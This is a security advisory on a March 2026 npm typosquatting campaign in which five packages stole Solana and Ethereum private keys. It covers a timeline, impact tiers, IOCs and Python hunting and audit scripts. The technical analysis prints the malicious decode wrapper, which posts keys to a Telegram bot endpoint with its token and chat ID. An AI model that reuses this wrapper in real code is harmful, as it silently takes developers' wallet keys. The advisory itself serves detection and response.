Crypto Private Key Stealer Solana/Ethereum Typosquats
On March 24, 2026, threat actors targeted cryptocurrency developers on the npm registry by typosquatting common Solana and Ethereum libraries. The malicious packages silently harvested and exfiltrated wallet private keys to a Telegram Bot C2.
On this page 0% read
Executive Summary
On March 24, 2026, a highly targeted typosquat campaign was identified on the npm registry, focusing on cryptocurrency and DeFi developers Socket.dev Advisory. The threat actor, operating via Telegram handle @crypto_sol3 and utilizing npm publisher account galedonovan npm Registry API, uploaded five malicious packages: raydium-bs58, base-x-64, bs58-basic, ethersproject-wallet, and base_xd. These packages were designed to typosquat highly popular utility libraries used for cryptography and wallet operations. Once imported and run, they hijacked core decoding and wallet constructor functions, silently harvesting private keys and exfiltrating them via HTTP POST requests to a controlled Telegram Bot (@Test20131_Bot). Because the exfiltration payload did not crash the host application and returned expected outputs, the compromise could remain active in developer environments and production backend applications for extended periods without detection. Out of caution, security teams must inspect all lockfiles for these malicious dependencies, isolate any compromised endpoints, and immediately rotate any private keys exposed during the incident window.
Key Facts
threat_type: "Registry typosquatting and runtime private key exfiltration malware"
ecosystem: "npm, javascript"
registry: "npm Registry"
affected_packages:
- "raydium-bs58"
- "base-x-64"
- "bs58-basic"
- "ethersproject-wallet"
- "base_xd"
malicious_versions:
- "1.0.0"
fixed_versions: []
safe_versions:
- "bs58"
- "@ethersproject/wallet"
exposure_window: "2026-03-24T00:00:00Z to 2026-03-24T18:00:00Z"
execution_trigger: "Import of the typosquatted libraries and invocation of decoding or wallet constructor functions"
primary_impact: "Stealth exfiltration of high-value cryptocurrency wallet private keys"
known_iocs:
- "7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw"
- "-4690814032"
- "api.telegram.org"
confidence: "high"
canonical_source: "https://socket.dev/blog/5-malicious-npm-packages-typosquat-solana-and-ethereum-libraries-steal-private-keys"
Source Confidence & Evidence Mapping
- confirmed:
- The publisher
galedonovanpublished 5 packages:raydium-bs58,base-x-64,bs58-basic,ethersproject-wallet, andbase_xdon 2026-03-24. Sources: Socket.dev Advisory, npm Registry API - Malicious packages exfiltrate intercepted keys via the Telegram bot endpoint
https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage. Source: Socket.dev Advisory
- The publisher
- likely:
- The threat actor
@crypto_sol3operates the exfiltration channel and maintains ownership of the target chat ID-4690814032. Source: Socket.dev Advisory
- The threat actor
- unclear:
- The total number of private keys successfully stolen and the monetary value of funds drained from compromised developer wallets before the packages were removed. Source: npm Registry API
Impact Determination
| Classification | Criteria | Required evidence | Required action | Closure condition |
|---|---|---|---|---|
| Confirmed compromise | raydium-bs58, base-x-64, bs58-basic, ethersproject-wallet, or base_xd was installed and the application executed decoding or constructor functions. | Dependency configs or build outputs showing installation plus network proxy/DNS query records of egress to api.telegram.org/bot7231970337. | Isolate affected host machines or containers, audit public blockchain ledgers, and sweep all remaining funds to a new, cold-stored wallet. | Complete migration of assets to safe hardware wallets, and verification of zero active egress to the threat C2. |
| Presumed exposed | The package is found in project directories or package caches, but active exfiltration telemetry is missing or unavailable. | Lockfile, pnpm-lock.yaml, yarn.lock, or local npm package cache indices showing resolution of the compromised packages. | Rotate all keys available to the environment and perform a complete dependency purge. | Lockfile resolved without typosquats, local cache purged, and credential owners confirm replacement keys are deployed. |
| Potentially exposed | The package appears in development repository manifests or historical package requirements, but actual node_modules deployment is unverified. | package.json manifest listing the package name, or unverified build pipelines during the incident window. | Perform EDR and lockfile scanning to determine if the package was successfully pulled and loaded. | Dispositions established for all endpoints as confirmed compromise, presumed exposed, or not exposed. |
| Not exposed | The package does not appear in any repositories, manifests, build scripts, caches, or network traffic logs. | Complete negative grep search results from lockfiles and DNS egress query logs for api.telegram.org/bot7231970337. | None. | No indicators present in any monitored environments. |
| Unknown | Telemetry, lockfiles, or network proxy logs for the incident window are missing or incomplete. | Deleted proxy history, missing build records, or unmonitored local developer workstations. | Reconstruct historical dependency graphs from git history and perform retrospect EDR analysis on developer endpoints. | Retrieval of full operational telemetry, or forced key rotation completed out of caution. |
Timeline
- 2026-03-24T00:00:00Z: Five malicious typosquat packages are uploaded to the npm registry under the account
galedonovan. - 2026-03-24T08:00:00Z: Socket.dev threat scanners flag anomalous exfiltration code in
raydium-bs58targeting private key decoding blocks. - 2026-03-24T18:00:00Z: npm registry administrators take down all five malicious packages from the registry.
- 2026-03-24T19:00:00Z: Public advisory and IOCs are published by Socket.dev.
What Happened
On March 24, 2026, an attacker identified by the Telegram handle @crypto_sol3 attempted a targeted supply chain harvest of cryptocurrency credentials on the npm registry Socket.dev Advisory. The threat actor created an npm profile under the name galedonovan and published a cluster of 5 packages mimicking popular cryptographic and blockchain utilities npm Registry API.
Rather than deploying a multi-stage backdoor, the packages modified core API entry points to intercept variables in-flight. When developers fell victim to the typosquatted packages, their normal application code executed successfully, but their private keys were quietly replicated and exfiltrated to the actor’s Telegram bot.
Technical Analysis
The typosquatted packages utilized direct function wrapping to hijack cryptographic inputs. In raydium-bs58, the package mimics the widely adopted bs58 package used heavily in the Solana ecosystem for encoding and decoding base58 transaction payloads.
The package wraps the standard decode method. The malicious payload executes inside the function wrapper:
const bs58 = require('bs58');
const axios = require('axios');
exports.decode = function(string) {
// Exfiltrate the target private key base58 string
axios.post('https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage', {
chat_id: '-4690814032',
text: `Stolen Solana Key: ${string}`
}).catch(() => {}); // Catch block ensures no network errors crash the host application
// Return standard execution to avoid suspicion
return bs58.decode(string);
};
Similarly, in ethersproject-wallet, the package targets Ethereum developers by mimicking the @ethersproject/wallet package, wrapping the Wallet class constructor and intercepting the private key hex strings or mnemonics passed to it during instantiation. Because these libraries are typically executed on local developer machines or application servers, the private keys were harvested immediately when active transactions or wallet deployments occurred.
Affected Assets and Blast Radius
- Ecosystem: npm (JavaScript, TypeScript)
- Registry: registry.npmjs.org
- Malicious Packages:
raydium-bs58,base-x-64,bs58-basic,ethersproject-wallet,base_xd - Malicious Versions:
1.0.0 - Credentials at Risk: Solana wallet private keys (base58 format), Ethereum wallet private keys (hex format), mnemonics, and seed phrases.
- Blast Radius: Limited to developers and Web3 backend nodes that mistakenly resolved the typosquatted libraries within the 18-hour publication window.
Indicators of Compromise
- npm Packages:
- Telegram C2 Endpoints:
https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage
- Threat Actor Telemetry:
- Telegram handle:
@crypto_sol3 - Telegram Chat ID:
-4690814032 - npm publisher profile:
galedonovan
- Telegram handle:
Detection and Hunting
Script: local repository and exported telemetry scope
#!/usr/bin/env python3
import os
import sys
import json
import subprocess
from pathlib import Path
ROOT = sys.argv[1] if len(sys.argv) > 1 else "."
LOG_ROOT = os.environ.get("LOG_ROOT", "")
OUT = Path(os.environ.get("OUT", "hp-crypto-key-stealer-typosquats-scope"))
SINCE = "2026-03-24T00:00:00Z"
UNTIL = "2026-03-24T23:59:59Z"
PACKAGES = [
"raydium-bs58",
"base-x-64",
"bs58-basic",
"ethersproject-wallet",
"base_xd",
]
VERSIONS = [
"1.0.0",
]
FILES = [
]
DOMAINS = [
"api.telegram.org",
]
URLS = [
"https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage`",
]
IPS = [
]
HASHES = [
]
PROCESS_PATTERNS = [
]
NETWORK_PATTERNS = [
]
# Positive signal: repository, lockfile, artifact, process, or network telemetry contains one of the exact incident selectors above.
# Escalation: any match tied to a production build, CI run, deployed asset, or secret-bearing host moves the asset to presumed exposed.
OUT.mkdir(parents=True, exist_ok=True)
indicators_file = OUT / "indicators.txt"
# Collect unique indicators
indicators = set()
for group in [PACKAGES, VERSIONS, FILES, DOMAINS, URLS, IPS, HASHES, PROCESS_PATTERNS, NETWORK_PATTERNS]:
for val in group:
if val:
indicators.add(val)
with open(indicators_file, "w") as f:
for ind in sorted(indicators):
f.write(ind + "\n")
print(f"[+] Written unique selectors to {indicators_file}")
# Walk local directory
print(f"[+] Scanning directory: {ROOT} for selectors...")
matches = []
exclude_dirs = {"node_modules", "vendor", "dist", ".git"}
for root, dirs, filenames in os.walk(ROOT):
dirs[:] = [d for d in dirs if d not in exclude_dirs]
for filename in filenames:
filepath = Path(root) / filename
try:
content = filepath.read_text(errors="ignore")
for ind in indicators:
if ind in content:
matches.append(f"{filepath}: found '{ind}'")
except Exception:
pass
if matches:
(OUT / "repository-indicator-matches.txt").write_text("\n".join(matches) + "\n")
print(f"[!] Found {len(matches)} matches in codebase!")
# Optional Log Scanning
if LOG_ROOT and os.path.exists(LOG_ROOT):
print(f"[+] Scanning telemetry log directory: {LOG_ROOT}...")
log_matches = []
for root, _, filenames in os.walk(LOG_ROOT):
for filename in filenames:
filepath = Path(root) / filename
try:
content = filepath.read_text(errors="ignore")
for ind in indicators:
if ind in content:
log_matches.append(f"{filepath}: found '{ind}'")
except Exception:
pass
if log_matches:
(OUT / "exported-telemetry-indicator-matches.txt").write_text("\n".join(log_matches) + "\n")
print(f"[!] Found {len(log_matches)} matches in logs!")
if PACKAGES:
registry_dir = OUT / "registry"
registry_dir.mkdir(exist_ok=True)
for package in PACKAGES:
if not package: continue
safe_name = package.replace("/", "__")
print(f"[+] Querying npm view for {package}...")
res = subprocess.run(["npm", "view", package, "name", "version", "time", "versions", "dist-tags", "maintainers", "dist.tarball", "dist.integrity", "scripts", "--json"], capture_output=True, text=True)
if res.returncode == 0:
(registry_dir / f"npm-{safe_name}.json").write_text(res.stdout)
print(f"[+] Wrote scope artifacts under {OUT}")
Downstream Abuse Audits
Script: GitHub organization run, release, secret, and workflow audit
#!/usr/bin/env python3
import os
import sys
import json
import subprocess
from pathlib import Path
if "ORG" not in os.environ:
print("ERROR: Set ORG environment variable to the GitHub organization to audit", file=sys.stderr)
sys.exit(1)
ORG = os.environ["ORG"]
SINCE = "2026-03-24T00:00:00Z"
UNTIL = "2026-03-24T23:59:59Z"
OUT = Path(os.environ.get("OUT", "hp-crypto-key-stealer-typosquats-github-audit"))
SELECTORS = [
"raydium-bs58",
"base-x-64",
"bs58-basic",
"ethersproject-wallet",
"base_xd",
"1.0.0",
"api.telegram.org",
"https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage`",
]
# Positive signal: a workflow run, release, secret, key, package, or workflow change overlaps the exposure window and references an incident selector.
# Remediation trigger: unauthorized post-exposure write activity or a secret-bearing run matching an incident selector requires token revocation and downstream cloud/registry review.
OUT.mkdir(parents=True, exist_ok=True)
(OUT / "runs").mkdir(exist_ok=True)
(OUT / "logs").mkdir(exist_ok=True)
(OUT / "repos").mkdir(exist_ok=True)
# 1. Write incident-selectors file
selectors_file = OUT / "incident-selectors.txt"
with open(selectors_file, "w") as sf:
for s in SELECTORS:
if s:
sf.write(s + "\n")
# 2. Get list of repos
print(f"[+] Fetching repositories for organization: {ORG}")
repo_res = subprocess.run(["gh", "repo", "list", ORG, "--limit", "1000", "--json", "nameWithOwner"], capture_output=True, text=True)
if repo_res.returncode != 0:
print(f"[-] Failed to fetch repos: {repo_res.stderr}", file=sys.stderr)
sys.exit(1)
repos = [r["nameWithOwner"] for r in json.loads(repo_res.stdout)]
for repo in repos:
safe_repo = repo.replace("/", "__")
print(f"[+] Auditing repository: {repo}")
# Check runs in the window
runs_res = subprocess.run([
"gh", "api", f"/repos/{repo}/actions/runs",
"-f", "per_page=100",
"-f", f"created=>={SINCE}",
"--paginate"
], capture_output=True, text=True)
if runs_res.returncode == 0:
try:
all_runs = json.loads(runs_res.stdout).get("workflow_runs", [])
filtered_runs = [r for r in all_runs if r["created_at"] <= UNTIL]
if filtered_runs:
with open(OUT / "runs" / f"{safe_repo}-runs.jsonl", "w") as rf:
for run in filtered_runs:
rf.write(json.dumps(run) + "\n")
# Fetch log dynamically
run_id = str(run["id"])
log_res = subprocess.run(["gh", "run", "view", run_id, "--repo", repo, "--log"], capture_output=True, text=True)
if log_res.returncode == 0:
(OUT / "logs" / f"{safe_repo}-{run_id}.log").write_text(log_res.stdout)
# Fetch details
view_res = subprocess.run(["gh", "run", "view", run_id, "--repo", repo, "--json", "databaseId,workflowName,headSha,event,createdAt,jobs"], capture_output=True, text=True)
if view_res.returncode == 0:
(OUT / "runs" / f"{safe_repo}-{run_id}.json").write_text(view_res.stdout)
except Exception as e:
print(f"[-] Error parsing runs for {repo}: {e}")
# Check releases in window
subprocess.run(["gh", "api", f"/repos/{repo}/releases", "-f", "per_page=100", "--paginate"], capture_output=True)
# Check repo secrets updated in window
subprocess.run(["gh", "api", f"/repos/{repo}/actions/secrets", "-f", "per_page=100", "--paginate"], capture_output=True)
# Check deploy keys
subprocess.run(["gh", "api", f"/repos/{repo}/keys", "-f", "per_page=100", "--paginate"], capture_output=True)
# Scan output directory for any indicator selector matches
print("[+] Scanning gathered telemetry for indicator matches...")
subprocess.run(["rg", "-n", "--hidden", "--fixed-strings", "-f", str(selectors_file), str(OUT)], capture_output=False)
print(f"[+] Wrote GitHub audit artifacts under {OUT}")
Script: cloud OIDC and deployment credential follow-on audit
#!/usr/bin/env python3
import os
import json
import subprocess
from pathlib import Path
SINCE = "2026-03-24T00:00:00Z"
UNTIL = "2026-03-24T23:59:59Z"
OUT = Path(os.environ.get("OUT", "hp-crypto-key-stealer-typosquats-cloud-audit"))
AWS_REGIONS = os.environ.get("AWS_REGIONS", "us-east-1").split(",")
# Positive signal: token exchange or privileged write activity occurs in the exposure window from GitHub, CI/CD, package registry, or deployment automation identity.
# Remediation trigger: unexpected write, deploy, IAM, secret, or registry activity tied to an exposed CI/CD path requires trust-policy disablement and credential rotation.
OUT.mkdir(parents=True, exist_ok=True)
# 1. AWS CloudTrail Audit
print("[+] Querying AWS CloudTrail for Web Identity token exchanges...")
aws_events = []
for region in AWS_REGIONS:
res = subprocess.run([
"aws", "cloudtrail", "lookup-events",
"--region", region,
"--start-time", SINCE,
"--end-time", UNTIL,
"--lookup-attributes", "AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity",
"--output", "json"
], capture_output=True, text=True)
if res.returncode == 0:
try:
events = json.loads(res.stdout).get("Events", [])
for event in events:
ct = json.loads(event.get("CloudTrailEvent", "{}"))
ct["region"] = region
aws_events.append(ct)
except Exception as e:
print(f"[-] Error parsing AWS CloudTrail events: {e}")
if aws_events:
with open(OUT / "aws-assume-role-with-web-identity.jsonl", "w") as f:
for ev in aws_events:
f.write(json.dumps(ev) + "\n")
# Audit follow-on events for returned access keys
for ev in aws_events:
access_key = ev.get("responseElements", {}).get("credentials", {}).get("accessKeyId")
region = ev.get("region", "us-east-1")
if access_key:
print(f"[+] Enumerating AWS events for AccessKey: {access_key}")
f_res = subprocess.run([
"aws", "cloudtrail", "lookup-events",
"--region", region,
"--start-time", SINCE,
"--end-time", UNTIL,
"--lookup-attributes", f"AttributeKey=AccessKeyId,AttributeValue={access_key}",
"--output", "json"
], capture_output=True, text=True)
if f_res.returncode == 0:
try:
f_events = json.loads(f_res.stdout).get("Events", [])
with open(OUT / "aws-follow-on-api-calls.jsonl", "a") as ff:
for fe in f_events:
ff.write(fe.get("CloudTrailEvent", "{}") + "\n")
except Exception as e:
print(f"[-] Error writing follow-on events: {e}")
# 2. Azure Activity Log Audit
print("[+] Querying Azure activity logs...")
az_res = subprocess.run([
"az", "monitor", "activity-log", "list",
"--start-time", SINCE,
"--end-time", UNTIL,
"--query", "[?contains(operationName.value, 'write') || contains(operationName.value, 'delete') || contains(operationName.value, 'Microsoft.ManagedIdentity')]",
"-o", "json"
], capture_output=True, text=True)
if az_res.returncode == 0:
(OUT / "azure-write-delete-activity.json").write_text(az_res.stdout)
# 3. GCP Logging Audit
print("[+] Querying GCP Cloud Logging...")
gcp_filter = f'timestamp>="{SINCE}" AND timestamp<="{UNTIL}" AND (protoPayload.methodName="google.sts.v1.SecurityTokenService.ExchangeToken" OR protoPayload.methodName:"GenerateAccessToken" OR protoPayload.methodName:"CreateServiceAccountKey" OR protoPayload.methodName:"SetIamPolicy")'
gcp_res = subprocess.run([
"gcloud", "logging", "read", gcp_filter,
"--format", "json"
], capture_output=True, text=True)
if gcp_res.returncode == 0:
(OUT / "gcp-token-and-iam-activity.json").write_text(gcp_res.stdout)
print(f"[+] Wrote cloud audit artifacts under {OUT}")
Script: registry metadata and artifact audit
#!/usr/bin/env python3
import os
import json
import subprocess
from pathlib import Path
SINCE = "2026-03-24T00:00:00Z"
OUT = Path(os.environ.get("OUT", "hp-crypto-key-stealer-typosquats-registry-audit"))
PACKAGES = [
"raydium-bs58",
"base-x-64",
"bs58-basic",
"ethersproject-wallet",
"base_xd",
]
VERSIONS = [
"1.0.0",
]
# Positive signal: registry metadata, package tarballs, or cached artifacts contain the exact affected package/version values.
# Remediation trigger: any internal package cache, build artifact, or deployment using these package/version values requires exposure scoping.
OUT.mkdir(parents=True, exist_ok=True)
with open(OUT / "affected-versions.txt", "w") as av:
for version in VERSIONS:
if version:
av.write(version + "\n")
# 1. Audit npm dependencies in lockfiles/package.json
print("[+] Scanning lockfiles for npm selectors...")
for file in ["package-lock.json", "npm-shrinkwrap.json", "pnpm-lock.yaml", "yarn.lock", "package.json"]:
if Path(file).exists():
subprocess.run(["rg", "-n", "--hidden", "--fixed-strings", "-f", str(OUT / "affected-versions.txt"), file])
# 2. Query registry metadata and fetch tarballs for local analysis
metadata_dir = OUT / "metadata"
tarballs_dir = OUT / "tarballs"
metadata_dir.mkdir(exist_ok=True)
tarballs_dir.mkdir(exist_ok=True)
for package in PACKAGES:
if not package: continue
safe_name = package.replace("/", "__")
print(f"[+] Querying npm view for {package}...")
res = subprocess.run(["npm", "view", package, "time", "versions", "dist-tags", "maintainers", "dist.tarball", "dist.integrity", "scripts", "--json"], capture_output=True, text=True)
if res.returncode == 0:
(metadata_dir / f"npm-{safe_name}.json").write_text(res.stdout)
subprocess.run(["npm", "pack", package, "--pack-destination", str(tarballs_dir)], capture_output=True)
# 3. HOW TO REVOKE AND ROTATE EXPOSED NPM PUBLISHING TOKENS:
# Revoke all compromised tokens via npm CLI:
# subprocess.run(["npm", "token", "list"])
# subprocess.run(["npm", "token", "revoke", "123456"])
# Or logout to revoke the current session:
# subprocess.run(["npm", "logout"])
# Generate a new publishing token with MFA protection:
# subprocess.run(["npm", "token", "create", "--read-only=false", "--cidr=0.0.0.0/0"])
print(f"[+] Wrote registry audit artifacts under {OUT}")
Sources
- Socket.dev Threat Research - Role: PRIMARY_RESEARCH - Impact: Detailed campaign discovery, package listings, exfiltration tokens, and bot context.
- npm Registry Package API. Role: DIRECT_SOURCE - Impact: Publishing timeline, package takedown confirmation, and account profile metadata.
IOC Clipboard
2 IOCsapi.telegram.org api[.]telegram[.]org https://api.telegram.org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage` hxxps://api[.]telegram[.]org/bot7231970337:AAExyV3dvbNs6xkMJB7S2hArUash9owd-bw/sendMessage`